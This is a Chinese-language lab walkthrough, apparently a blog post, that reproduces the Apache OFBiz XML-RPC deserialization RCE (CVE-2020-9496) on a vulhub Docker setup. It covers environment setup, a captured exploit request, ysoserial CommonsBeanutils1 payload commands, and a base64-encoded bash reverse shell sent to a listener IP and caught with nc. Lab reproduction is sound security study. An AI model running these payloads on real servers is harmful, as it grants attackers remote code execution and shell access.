1. 程式人生 > 其它 >Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)復現

Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)復現

Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)復現

  • |簡介

Apache OFBiz全稱是The ApacheOpen For Business Project,是開一個放的電子商務平臺,也是一個非常著名的開源專案

  • |漏洞描述

Apache ofbiz存在反序列化漏洞,攻擊者可以通過未授權訪問介面,構造特定的xmlrpc http請求,造成遠端程式碼執行的影響

  • |影響版本

Apache ofbiz: <17.12.04

  • |搭建環境

(1)使用vulhub搭建環境,在有docker環境的虛擬機器中 //沒有的,先安裝docker環境(apt install docker-ce、docker-compose等)

git clone https://github.com/vulhub/vulhub.git

(2)拉取專案

進入漏洞目錄,使用docker-compose拉取環境,看到綠色done,說明成功

(3)在瀏覽器訪問搭建的環境頁面:https://ip:8443/myportal/control/login //注意是https

(4)安裝漏洞復現需求的環境

  1. 安裝java環境 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html ,根據版本選擇下載的jdk

  2. 建立一個資料夾,把下載好的jdk解壓到資料夾中

    mkdir /opt/java ==> tar xvzf jdk-8u301-linux-x64.tar.gz -C /opt/java //-C 解壓至指定資料夾中

  3. 配置java環境變數

    vim /etc/profile 末尾加上

    • export JAVA_HOME=/opt/java/jdk1.8.0_301

    • export JRE_HOME=${JAVA_HOME}/jre

    • export CLASSPATH=.:\({JAVA_HOME}/lib:\){JRE_HOME}/lib

    • export PATH=\({JAVA_HOME}/bin:\)PATH

  4. 設定完成後,source /etc/profile,重新載入配置檔案

    //每次重啟終端後,需要執行一遍,才能載入環境變數,嫌麻煩的可以在/.zshrc(或/.bashrc,看版本),加入環境變數(這樣就不需要每次都執行一遍了),如下:

    java -version

    ok~

  5. 安裝maven,使用wget下載mvn

    wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

    建立資料夾,解壓

    mkdir /opt/maven ==> tar xvzf apache-maven-3.6.3-bin.tar.gz -C /opt/maven

    配置環境變數

    vim /etc/profile 在末尾加上

    • export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

    • export PATH=\(MAVEN_HOME/bin:\)PATH

      mvn -version

    ok~

  • |漏洞復現

(1)在gitHub上下載java反序列化利用工具ysoserial

​ git clone https://github.com/frohoff/ysoserial.git

(2)進入ysoserial目錄使用maven下載編譯需要得包,

​ mvn clean package -DskipTests

編譯成功,如下:

(3)可以看到ysoserial目錄裡面有一個target檔案,進入這個目錄,可以看到生成payload的工具

(4)在瀏覽器訪問 https://ip:8443/webtools/control/xmlrpc 這個頁面,並使用burp抓包,放置重放模組

頁面原始碼

放置重放模組:

(5)在資料包下方加上匯入xml

POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.87.128:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A7A75619C87A5FB8DD5A23C4CE6F77A8.jvm1; Hm_lvt_ade42d4f682c4fca28c5f093052433c1=1631008935,1631009219,1631013070,1631015778; OFBiz.Visitor=10000
Content-Length: 4208

tom

cat

[base64-payload]

(6)嘗試使用ysoserial的CommonsBeanutils1生成Payload並在tmp目錄寫入檔案

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/Tokyo" | base64 | tr -d "\n"

或使用dnslog判斷漏洞是否存在

(7)複製生成的64位編碼的payload,並貼上到burp資料包[base64-payload]這個地方,點選Go傳送,到docker檢視是否成功寫入

(8)利用漏洞反彈shell,借用下面這個網站,對反彈shell的payload進行base64位編碼

http://www.jackson-t.ca/runtime-exec-payloads.html

(9)把編碼後的shell再用ysoserial工具進行一次base64編碼

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

(10)nc設定監聽,把生成的exp放入到burp的資料包中傳送,檢視nc監聽以返回shell

  • |修復建議

    1、升級為最新版本